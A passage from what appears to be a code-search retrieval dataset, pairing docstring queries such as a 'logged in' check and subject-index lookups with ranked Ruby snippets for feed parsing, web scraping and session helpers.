\"@atom10:type\",\n \"@atom03:type\",\n \"@atom:type\",\n \"@type\"\n ], :select_result_value => true)\n if link_object.type == \"atom10:\" ||\n link_object.type == \"atom03:\" ||\n link_object.type == \"atom:\"\n link_object.type = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@type\"\n ], :select_result_value => true)\n end\n unless link_object.type.nil?\n link_object.type = link_object.type.downcase\n end\n link_object.title = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:title\",\n \"@atom03:title\",\n \"@atom:title\",\n \"@title\",\n \"text()\"\n ], :select_result_value => true)\n if link_object.title == \"atom10:\" ||\n link_object.title == \"atom03:\" ||\n link_object.title == \"atom:\"\n link_object.title = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@title\"\n ], :select_result_value => true)\n end\n # This catches the ambiguities between atom, rss, and cdf\n if link_object.title == link_object.href\n link_object.title = nil\n end\n link_object.length = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:length\",\n \"@atom03:length\",\n \"@atom:length\",\n \"@length\"\n ], :select_result_value => true)\n if link_object.length == \"atom10:\" ||\n link_object.length == \"atom03:\" ||\n link_object.length == \"atom:\"\n link_object.length = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@length\"\n ], :select_result_value => true)\n end\n if !link_object.length.nil?\n link_object.length = link_object.length.to_i\n else\n if !link_object.type.nil? && link_object.type[0..4] != \"text\" &&\n link_object.type[-3..-1] != \"xml\" &&\n link_object.href =~ /^http:\\/\\//\n # Retrieve the length with an http HEAD request\n else\n link_object.length = nil\n end\n end\n @links = [] if @links.nil?\n @links << link_object\n end\n end\n return @links\n end", "title": "" }, { "docid": "85987b3cb9d2cc0509e9de5f27f2233d", "score": "0.5243969", "text": "def get_hrefs\n # this will grab all the html from the url that\n # the user created the scraper with\n url_to_scrape = HTTParty.get(self.url)\n # nokogiri turns everything from HTTParty into nodes.\n nodes = Nokogiri::HTML(url_to_scrape)\n nodes.css('a').each do |a|\n self.hrefs << a['href']\n end\n self.hrefs\n end", "title": "" }, { "docid": "e2525b7633b95a0881f02b775ed7a464", "score": "0.52407485", "text": "def unknown_urls\n\t\treturn [] if @setup.secure or @setup['no_cache'] or not FileTest::exist?( @setup['cache_path'] )\n\n\t\tr = Array.new\n\t\tdb = DispRef2PStore.new( @setup['cache_path'] )\n\t\tdb.transaction( true ) do\n\t\t\tbegin\n\t\t\t\tdb[Root_DispRef2URL].each_pair do |url, data|\n\t\t\t\t\tnext if DispRef2String::url_match?( url, @setup.no_referer )\n\t\t\t\t\tnext if DispRef2String::url_match?( url, @setup['reflist.ignore_urls'] )\n\t\t\t\t\tr << url if DispRef2URL::Unknown == data[0] or @setup['normal-unknown.title.regexp'] =~ data[2]\n\t\t\t\tend\n\t\t\trescue PStore::Error\n\t\t\tend\n\t\tend\n\t\tdb = nil\n\t\tr\n\tend", "title": "" }, { "docid": "2d326e0053214a0271e6d83ec5777173", "score": "0.5238953", "text": "def all_urls\n urls = NG_URL.all.collect {|n| n.url}\n urls.sort!\n end", "title": "" }, { "docid": "df58a524c3f50acbcbac38b1a8691874", "score": "0.5238356", "text": "def get_all_the_urls_of_val_doise_townhalls\n\n\tdoc = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\"))\n\tdoc.xpath('//a[@class = \"lientxt\"]').each do |link|\n\t puts @mairie_url = link['href']\n\n\t get_the_email_of_a_townhal_from_its_webpage \n\tend\nend", "title": "" }, { "docid": "b3507ca760c3d30f3d0058c3d6668bac", "score": "0.52274704", "text": "def links\n nodes = @doc.xpath(\"atom:feed/atom:link\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomLink.new(node) }\n end", "title": "" } ]
7c0bb8448066d03f3cbf948836a3334e
Returns true if the user is logged in, false otherwise.
[ { "docid": "be70d9e2f2572b85d49bb87417a80770", "score": "0.0", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" } ]
[ { "docid": "31fb4132def094f5ed9925db932d58eb", "score": "0.8996273", "text": "def user_is_logged_in\n if session[:current_user] != nil\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "5e8797ab67adadcb571fb446716121fe", "score": "0.89009136", "text": "def userIsLoggedIn()\n user = getUser()\n if user != nil\n true\n else\n false\n end\n end", "title": "" }, { "docid": "22ba2a6c1fd641fead2b88113346f450", "score": "0.87718487", "text": "def logged_in?\n current_user ? true : false\n end", "title": "" }, { "docid": "22ba2a6c1fd641fead2b88113346f450", "score": "0.87718487", "text": "def logged_in?\n current_user ? true : false\n end", "title": "" }, { "docid": "104a6d97eb8910958e811106639eb754", "score": "0.8708431", "text": "def is_logged_in?\n \tif session[:user] && session[:user] != nil\n \t\ttrue\n \telse\n \t\tfalse\n \tend\n end", "title": "" }, { "docid": "2cd1ab14e3727fc70bf2699b36d8d03a", "score": "0.87032145", "text": "def logged_in?\n !!session_user\n end", "title": "" }, { "docid": "c2fb1a8eaba1efa34f2d9967886d1f73", "score": "0.8692921", "text": "def logged_in?\n current_user != :false\n end", "title": "" }, { "docid": "fced62813f772aac1f643593943d2ed0", "score": "0.86779577", "text": "def is_userloggedin?\n @loggedinuser != nil\n end", "title": "" }, { "docid": "0f136293c6ed556528c13adef23889bb", "score": "0.8673313", "text": "def logged_in?\n if session[:username].nil?\n false\n else\n true\n end\n end", "title": "" }, { "docid": "ece7eedb5f4d1034319c055d399262f0", "score": "0.86453736", "text": "def logged_in?\n return @state.user_id ? true : false\n end", "title": "" }, { "docid": "483aec1fc4860e4ff555f8d7a05c3158", "score": "0.8641305", "text": "def logged_in?\n (!@_current_user.nil? && session[:session_id]) ? true : false\n end", "title": "" }, { "docid": "00aec9d05d17933534b746809c84bec9", "score": "0.8636105", "text": "def logged_in?\n Service.is_user_logged_in?\n end", "title": "" }, { "docid": "c4fe9fe2cfa4010d87c3861c50aec87b", "score": "0.8630182", "text": "def logged_in?\n if current_user\n true\n else\n false\n end\n end", "title": "" }, { "docid": "9a9115161cb92dc8321a286b3d4d29f0", "score": "0.86297715", "text": "def logged_in?\n # check if current session has a user_id\n !!session[:user_id]\n end", "title": "" }, { "docid": "89183adda0037710bfc5bfb3afd303a0", "score": "0.862607", "text": "def logged_in?\n\t\t!current_user.nil? #if the current user == nil it is true, ! infront makes it false, and true if other wise\n\tend", "title": "" }, { "docid": "fd3df506186e7292c5de328f2266cdf6", "score": "0.8594399", "text": "def logged_in?\n \t\t# to convert to a boolean use !!\n \t\t!!current_user # returns true if there is a current user and false if there is no current user\n \tend", "title": "" }, { "docid": "a4e8313af939628aac4589c6f3295757", "score": "0.85820407", "text": "def logged_in?\n current_user.present?\n end", "title": "" }, { "docid": "a4e8313af939628aac4589c6f3295757", "score": "0.85820407", "text": "def logged_in?\n current_user.present?\n end", "title": "" }, { "docid": "a12a419ce70593eef5e93742a0ef9124", "score": "0.85658157", "text": "def logged_in?\n return true if self.current_user\n return false\n end", "title": "" }, { "docid": "8fbf53976a3cb467daefc5e557d5bd38", "score": "0.85626817", "text": "def logged_in?\n !!current_user #In this case, if the user is nil, then we return false; otherwise true\n end", "title": "" }, { "docid": "6d54b491eedd02a4765350e2fd2096de", "score": "0.8561372", "text": "def logged_in?\n\t\tputs \"CHECKING IF LOGGEDIN!------------------->\"\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "f810933a3357f792a5a6246073ce3290", "score": "0.85602945", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "f810933a3357f792a5a6246073ce3290", "score": "0.85602945", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "cf71a133289add025607b9dee505be6a", "score": "0.85501456", "text": "def logged_in?\n\t\t# Converts the returned value for current_user into a boolean\n\t\t# This returns true if current_user object exists. Vice versa\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "4e5ecb8232c91ed87ea2351764438dc4", "score": "0.8543129", "text": "def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend", "title": "" }, { "docid": "4e5ecb8232c91ed87ea2351764438dc4", "score": "0.8543129", "text": "def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend", "title": "" }, { "docid": "4e5ecb8232c91ed87ea2351764438dc4", "score": "0.8543129", "text": "def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend", "title": "" }, { "docid": "9510bac73d07d0c21cd8606e1fc8e6d0", "score": "0.85372704", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "ee1b105a4471533f8e7ba878bf651ccd", "score": "0.8536668", "text": "def logged_in?\n\t\tcurrent_user ? true : false\n\t\t#session[:userid]\n\tend", "title": "" }, { "docid": "79d49b837d4b7603980f7cf783fee1fc", "score": "0.8535511", "text": "def logged_in?\n\t\t!get_current_user.nil?\n\tend", "title": "" }, { "docid": "9446de727201d82b7c2c48d0d1cec579", "score": "0.8533734", "text": "def logged_in?\n current_user\n !@current_user.nil?\n end", "title": "" }, { "docid": "6c519c1747edee5b362d00f85d0c752a", "score": "0.85332775", "text": "def logged_in?\n !!session[:user_id]\n end", "title": "" }, { "docid": "6c519c1747edee5b362d00f85d0c752a", "score": "0.85332775", "text": "def logged_in?\n !!session[:user_id]\n end", "title": "" }, { "docid": "6c519c1747edee5b362d00f85d0c752a", "score": "0.85332775", "text": "def logged_in?\n !!session[:user_id]\n end", "title": "" }, { "docid": "107c1ffb0896b91cea7a627a5d6fcef7", "score": "0.8516754", "text": "def logged_in?\n @current_user.present?\n end", "title": "" }, { "docid": "ce8185e2e98c9dac971289c2ab3b382b", "score": "0.8516127", "text": "def logged_in?\n !!user_id\n end", "title": "" }, { "docid": "9339a0f780a886b8da70fe20d99a2304", "score": "0.851534", "text": "def logged_in?\n @session ? true : false\n end", "title": "" }, { "docid": "0458ac1a371758f4ab47193c31423cdd", "score": "0.851328", "text": "def logged_in?\n !session.user.nil?\n end", "title": "" }, { "docid": "276be3e57f9b70c51a20462159ae664e", "score": "0.8509785", "text": "def logged_in?\n return true unless session[:user].blank?\n false\n end", "title": "" }, { "docid": "9536c8d5896ce9b2f4515ceec063b9c9", "score": "0.85074073", "text": "def logged_in?\n @logged_in == true\n end", "title": "" }, { "docid": "9536c8d5896ce9b2f4515ceec063b9c9", "score": "0.85074073", "text": "def logged_in?\n @logged_in == true\n end", "title": "" }, { "docid": "a13556739ca0c2b380848a6a7a480da6", "score": "0.850558", "text": "def logged_in?\n !user_id.nil?\n end", "title": "" }, { "docid": "1c60effbe54040ea7f86da6e3aec745c", "score": "0.8504961", "text": "def logged_in?\n !!logged_in_user\n end", "title": "" }, { "docid": "1c60effbe54040ea7f86da6e3aec745c", "score": "0.8504961", "text": "def logged_in?\n !!logged_in_user\n end", "title": "" }, { "docid": "1c60effbe54040ea7f86da6e3aec745c", "score": "0.8504961", "text": "def logged_in?\n !!logged_in_user\n end", "title": "" }, { "docid": "c37a01f19f6370531bd00920a4c6ceed", "score": "0.8504072", "text": "def is_logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "c37a01f19f6370531bd00920a4c6ceed", "score": "0.8504072", "text": "def is_logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "c62932095df2541f500e23578457dafa", "score": "0.8497513", "text": "def is_logged_in?\n @active_user != nil\n end", "title": "" }, { "docid": "fea2a62d678aac75aa5eedc8fe0150a7", "score": "0.8495957", "text": "def logged_in?\n if session[:user_id]\n true\n end\n end", "title": "" }, { "docid": "95a3ab03a43fcb46555ae3a8c7d2704a", "score": "0.849351", "text": "def logged_in?\n \n !current_user.nil?\n end", "title": "" }, { "docid": "9499714765edae476d7d739b25ad3467", "score": "0.84915406", "text": "def user_is_logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "9499714765edae476d7d739b25ad3467", "score": "0.84915406", "text": "def user_is_logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "5cb14ea67fd965781b881908c150186b", "score": "0.8488758", "text": "def logged_in?\n\tif session[:cas_user]\n\t\tif User.where(:userid => session[:cas_user]).count > 0\n\t\t true\n else\n false\n end\n\tend\n end", "title": "" }, { "docid": "46d6f371d2d7c70e2c30f0da2c2eade6", "score": "0.8485348", "text": "def logged_in?\n (@current_user ||= session[:user] ? User.find_by_id(session[:user]) : :false).is_a?(User)\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "91bb3d124190fc74af5a3cf1b1ec27f8", "score": "0.8481774", "text": "def logged_in?\n !!current_user\n end", "title": "" }, { "docid": "5f54c622f7de74eeafe6d8fe146f4f83", "score": "0.8480308", "text": "def logged_in?\n return current_user.present?\n end", "title": "" }, { "docid": "d042c98609facaab42c19e88416a0cf1", "score": "0.8474791", "text": "def logged_in?\n current_user.present?\n end", "title": "" }, { "docid": "c770850d5dc194f0475b2fb34a143358", "score": "0.84644175", "text": "def logged_in?\n\t\tcurrent_user.present?\n\tend", "title": "" }, { "docid": "c770850d5dc194f0475b2fb34a143358", "score": "0.84644175", "text": "def logged_in?\n\t\tcurrent_user.present?\n\tend", "title": "" }, { "docid": "874286f9380337054e7bd539f62ef5b2", "score": "0.8463153", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "874286f9380337054e7bd539f62ef5b2", "score": "0.8463153", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "874286f9380337054e7bd539f62ef5b2", "score": "0.8463153", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "874286f9380337054e7bd539f62ef5b2", "score": "0.8463153", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "1ed7d9da58f532929c9a84d22a4f39b9", "score": "0.84607387", "text": "def logged_in?\n\t\t!current_user.nil? || !current_user_user.nil?\n\tend", "title": "" }, { "docid": "b40c68dea30f721636b84796918196b8", "score": "0.84572387", "text": "def logged_in?\n return session[:user_id] ? true : false\n end", "title": "" }, { "docid": "eda1c34a568d0d05b6d3451622f9da50", "score": "0.8455928", "text": "def user_logged_in?\n !session[:user].nil?\n end", "title": "" }, { "docid": "8f8d73281df0f661ca9caf77549cebd8", "score": "0.84556246", "text": "def logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "8f8d73281df0f661ca9caf77549cebd8", "score": "0.84556246", "text": "def logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "8f8d73281df0f661ca9caf77549cebd8", "score": "0.84556246", "text": "def logged_in?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "488276842aa9ddc1876d30d3b137b470", "score": "0.8455336", "text": "def logged_in?\n @logged_in\n end", "title": "" }, { "docid": "0cab944f7823e658ceff60b0d0c26355", "score": "0.84551924", "text": "def logged_in?\n !!logged_in_user \n end", "title": "" }, { "docid": "19a21ec559de3ed0205b2813b1ac853b", "score": "0.84548736", "text": "def logged_in?\n !current_user.blank?\n end", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.84522325", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" }, { "docid": "66ac997791fcdc4776dc2a21709633de", "score": "0.8452167", "text": "def logged_in?\n\t\t!current_user.nil?\n\tend", "title": "" } ]
3a13f18f64938dd6ba236a1b55e65654
passed the index of the subject returns a humanreadable version from the index
[ { "docid": "7cb7c9714ed4357a9f55fc2f1df87ad4", "score": "0.7309882", "text": "def subject_title_by_index(index)\n\t\tcase index\n\t\t\twhen 0\n\t\t\t\treturn \"Math\"\n\t\t\twhen 1\n\t\t\t\treturn \"Science\"\n\t\t\twhen 2\n\t\t\t\treturn \"Social Studies\"\n\t\t\twhen 3\n\t\t\t\treturn \"English / Language Arts\"\n\t\t\twhen 4\n\t\t\t\treturn \"Foreign Language\"\n\t\t\twhen 5\n\t\t\t\treturn \"Music\"\n\t\t\twhen 6\n\t\t\t\treturn \"Physical Education\"\n\t\t\twhen 7\n\t\t\t\treturn \"Health\"\n\t\t\twhen 8\n\t\t\t\treturn \"Dramatic Arts\"\n\t\t\twhen 9\n\t\t\t\treturn \"Visual Arts\"\n\t\t\twhen 10\n\t\t\t\treturn \"Special Education\"\n\t\t\twhen 11\n\t\t\t\treturn \"Technology and Engineering\"\n\t\tend\n\t\t#otherwise\n\t\treturn \"Invalid subject index!\"\n\tend", "title": "" } ]
[ { "docid": "b9ddeb518c0d18e582eae78eb5c9f8e0", "score": "0.7384334", "text": "def subject_string_by_index(index)\n\t\tcase index\n\t\t\twhen 0\n\t\t\t\treturn \"ma\"\n\t\t\twhen 1\n\t\t\t\treturn \"sc\"\n\t\t\twhen 2\n\t\t\t\treturn \"ss\"\n\t\t\twhen 3\n\t\t\t\treturn \"la\"\n\t\t\twhen 4\n\t\t\t\treturn \"fl\"\n\t\t\twhen 5\n\t\t\t\treturn \"mu\"\n\t\t\twhen 6\n\t\t\t\treturn \"pe\"\n\t\t\twhen 7\n\t\t\t\treturn \"he\"\n\t\t\twhen 8\n\t\t\t\treturn \"da\"\n\t\t\twhen 9\n\t\t\t\treturn \"va\"\n\t\t\twhen 10\n\t\t\t\treturn \"se\"\n\t\t\twhen 11\n\t\t\t\treturn \"te\"\n\t\tend\n\t\t#otherwise\n\t\treturn \"Invalid subject index!\"\n\tend", "title": "" }, { "docid": "f47070f002176f4fb52dc9b4b2725c02", "score": "0.62965417", "text": "def to_searchable index\n _getarray[index].to_s\n end", "title": "" }, { "docid": "2c772174a9008650058f8cac5d7907ec", "score": "0.6255477", "text": "def to_s\n \"#{@index}. #{name}\"\n end", "title": "" }, { "docid": "1e116483df3caec0dcae2f0528c42106", "score": "0.60612845", "text": "def subject_search_index\n subjects.pluck(:name)\n end", "title": "" }, { "docid": "cc539a82459647bfb6b0ca0f1e2333c5", "score": "0.6003117", "text": "def at(index)\n\t\tget(index).content\n\tend", "title": "" }, { "docid": "2a9005d3c9237b908b82970572ac9275", "score": "0.5987974", "text": "def formatted_index(index=nil)\n index = \"^#{index.nil? ? @index : index}\"\n Unit.use_superscript_characters? ? index.with_superscript_characters : index\n end", "title": "" }, { "docid": "fa472db2b5a6d868b7724fef893a9c25", "score": "0.5930519", "text": "def [](index)\n to_s[index]\n end", "title": "" }, { "docid": "4c16a8ecaf9bccdbc8ce783816b4f69d", "score": "0.5834215", "text": "def as_index_string\n case type\n when \"text\" then \"truncate(#{model.name.as_singular}.#{name}, length: 30)\"\n else \"#{model.name.as_singular}.#{name}\"\n end\n end", "title": "" }, { "docid": "1f4586a9a569994b559c8ad699b96d6a", "score": "0.5831941", "text": "def index\n @title = \"Tenjin\"\n @inst_var_one = \"INST_VAR_ONE\"\n @inst_var_two = \"INST_VAR_TWO\"\n return \"#{self.class}: INDEX RETURN STRING\"\n end", "title": "" }, { "docid": "66575bfc53da4f7cf0a587ec91d0684b", "score": "0.5826862", "text": "def index_component\n if requires_index?\n # If index is a string (EG: \"uniq\"), pass that through\n if attribute.properties[:index].is_a?(String)\n attribute.properties[:index]\n # If no index is specified or a boolean is used, it should just be a regular index\n else\n \"index\"\n end\n end\n end", "title": "" }, { "docid": "06a1e0b991f19ec9b9a03469eed48b25", "score": "0.582005", "text": "def grade_level_title_by_index(index)\n\t\tcase index\n\t\t\twhen 0\n\t\t\t\treturn \"Preschool\"\n\t\t\twhen 1\n\t\t\t\treturn \"Pre-Kindergarten\"\n\t\t\twhen 2\n\t\t\t\treturn \"Kindergarten\"\n\t\t\twhen (3..14)\n\t\t\t\treturn \"#{(index-2).ordinalize} Grade\"\n\t\t\twhen 15\n\t\t\t\treturn \"Preparatory\"\n\t\t\twhen 16\n\t\t\t\treturn \"BS/BA\"\n\t\t\twhen 17\n\t\t\t\treturn \"Masters\"\n\t\t\twhen 18\n\t\t\t\treturn \"PhD\"\n\t\t\twhen 19\n\t\t\t\treturn \"Post-Doctorate\"\n\t\tend\n\t\t# otherwise,\n\t\treturn \"Invalid grade level index!\"\n\tend", "title": "" }, { "docid": "dcb1c09fc569a22190b4ac9b4f9c244f", "score": "0.5819142", "text": "def single_indexvalue v\n # TODO: allow custom function in config\n v.to_s\n end", "title": "" }, { "docid": "c15dfe6233649a295f9c226f5f56bd4f", "score": "0.57546437", "text": "def lttfindex\n end", "title": "" }, { "docid": "1fca37951b13d6d2cfcfbcc33b2058c1", "score": "0.57062846", "text": "def from_index\n Indexer.index[probably_unique_id]\n end", "title": "" }, { "docid": "fc8ac7372c000de059239421b23f9a88", "score": "0.5702971", "text": "def get_view_by_index(idx)\n value = idx / 4 + (idx % 4 == 0 ? 1 : 2)\n case\n when value <= 10\n return value.to_s\n when value == 11\n return 'J'\n when value == 12\n return 'Q'\n when value == 13\n return 'K'\n when value == 14\n return 'A'\n end\n end", "title": "" }, { "docid": "49810157c4db83cd6e6f230a47a7c334", "score": "0.56890035", "text": "def print_index\n\t\t#zet de index nr in text_index\n\t\ttext_index = \"Hello, Ruby.\".index /Ruby/\n\t\t#print text_index\n\t\tputs text_index\n\tend", "title": "" }, { "docid": "5f8a981ba2a810734a0389c620bf6b56", "score": "0.5661363", "text": "def to_s\n \"Name: #@name; Index: #@index\"\nend", "title": "" }, { "docid": "53bbf3ccf27ca142baf53416a2bcc3d7", "score": "0.5655917", "text": "def get_text_for_indexing\n text = self.body.strip\n text.sub!(/Dear .+,/, \"\")\n text.sub!(/[^\\n]+1049\\/2001[^:\\n]+:? ?/, \"\") # XXX: can't be more specific without locale\n self.remove_privacy_sensitive_things!(text)\n return text\n end", "title": "" }, { "docid": "f01c58c76c826a9e5365aea74bdc974e", "score": "0.56231815", "text": "def index; @index; end", "title": "" }, { "docid": "b5af1c021d20e063e9bfb4e287e27ea5", "score": "0.5622667", "text": "def ar_get_index_label title\n ar_retrieve_field_value title, @resource\n end", "title": "" }, { "docid": "7b8a97a82ef17119f3b867347b8d3186", "score": "0.5620187", "text": "def index\n #assemlbe a list of all the subjects\n # @subjects = Subject.all or\n @subjects = Subject.sorted #defined in lambda\n end", "title": "" }, { "docid": "6ec4c99d6d4f026c57755669e8d6e8b4", "score": "0.5615678", "text": "def name(index)\n i = get_field_index_by_external_id(index,@fields[:name])\n fields(index, i).to_s unless i.nil?\n end", "title": "" }, { "docid": "6ec4c99d6d4f026c57755669e8d6e8b4", "score": "0.5615678", "text": "def name(index)\n i = get_field_index_by_external_id(index,@fields[:name])\n fields(index, i).to_s unless i.nil?\n end", "title": "" }, { "docid": "d491036ee071a3ce782d5731f4e2863b", "score": "0.56042683", "text": "def index_name\n get_key('ALGOLIA_INDEX_NAME', 'index_name')\n end", "title": "" }, { "docid": "0401400ff920728deedc2e2010087204", "score": "0.5548022", "text": "def timestamped_index\n time_str = Time.now.strftime('%Y%m%d.%H%M%S') # TODO: Make the format configurable\n \"#{elasticsearch_index}-#{time_str}\".to_sym\n end", "title": "" }, { "docid": "555e845ce9df48a889d77050d79c32f1", "score": "0.55454683", "text": "def index_name(version)\n \"#{es_type_name}-v-#{version}\"\n end", "title": "" }, { "docid": "7e8ae096b95d3da9508e96cd1ef52b6b", "score": "0.5538837", "text": "def index_name\n models.map { |m| m.index_name }\n end", "title": "" }, { "docid": "7a3c5995aca3cd6fb59f3ec18311b822", "score": "0.5529892", "text": "def index\n \n @subjects = Subject.sorted\n \n end", "title": "" }, { "docid": "d1ca6ec186e8173ca6023f9fee2ffd55", "score": "0.5523649", "text": "def index ; @index ; end", "title": "" }, { "docid": "5e35045c5aea55390477228c7f462b16", "score": "0.5520618", "text": "def _cornell_render_document_index_label doc\n\n # Rewriting because we can't get the above to work properly....\n label = doc[\"title_display\"]\n title = doc['fulltitle_display']\n vern = doc['fulltitle_vern_display']\n\n if title.present?\n label = title\n end\n\n if vern.present? && !title.nil?\n label = vern + ' / ' + label\n else\n if vern.present?\n label = vern\n end\n end\n\n label ||= doc['id']\n end", "title": "" }, { "docid": "8cf7e2d5a53f5ab3e7b858d91d7a8ea0", "score": "0.5520357", "text": "def temporal_index_name(index_name)\n\t\t\tindex_name.to_s.sub(/^index/, \"ind_h\").sub(/_ix(\\d+)$/, '_hi\\1')\n\t\tend", "title": "" }, { "docid": "b1ce2bee033b63bc369f48b2b47dd6b7", "score": "0.55045104", "text": "def substitution_value(index)\n Base64.urlsafe_encode64(Digest::SHA1.digest(index.to_s)).gsub(/[^A-Za-z]/, '')[0..5]\n end", "title": "" }, { "docid": "3ef8ce09ff3983f55996a2ca98cf68bf", "score": "0.5473142", "text": "def biodiversity_index(specimens)\nend", "title": "" }, { "docid": "3ef8ce09ff3983f55996a2ca98cf68bf", "score": "0.5473142", "text": "def biodiversity_index(specimens)\nend", "title": "" }, { "docid": "215ba9617f24d73705514f26ebf06350", "score": "0.5472269", "text": "def normalize_index(index)\n check_pre((\n (index.int?)\n ))\n\n index % DAY_SYM_SEQ.length\n end", "title": "" }, { "docid": "8ac8067cb6ad3fc224b1148bfb21d2e8", "score": "0.5462146", "text": "def to_index_name(slice, application, domain)\n sprintf(\"%d_%s_%s\", slice, application, domain)\n end", "title": "" }, { "docid": "2c6677897eef6f4955d578af4926baaa", "score": "0.5451413", "text": "def construct_index\n end", "title": "" }, { "docid": "c8b09b6deea60162c2d3c85df31b8dc2", "score": "0.54465836", "text": "def get(index)\n \n end", "title": "" }, { "docid": "93d7247a7eca4fc19358d70a58e0d6d5", "score": "0.5422253", "text": "def ta_index\n end", "title": "" }, { "docid": "2fdec017e1250e26bf397d5fb4df96d5", "score": "0.541141", "text": "def substitution_value(index)\n sha = Digest::SHA1.digest(index.to_s)\n Base64.urlsafe_encode64(sha).gsub(/[^A-Za-z]/, '')[0..5]\n end", "title": "" }, { "docid": "d80ac2715c44941db6c7593976237525", "score": "0.54008037", "text": "def index_id\n @raw[\"indexId\"]\n end", "title": "" }, { "docid": "2f7a31fd3ffb6b663fd10198cdf4f48c", "score": "0.5361152", "text": "def extract_word_index\n self.word_index = self.title[0].upcase\n end", "title": "" }, { "docid": "e4c2ac5ef468c7d11eadfec35a7f1c8a", "score": "0.53536135", "text": "def index_letter\n last_name[0..0]\n end", "title": "" }, { "docid": "cb98a5e78df9cd45082c57666ceddf1d", "score": "0.5351145", "text": "def 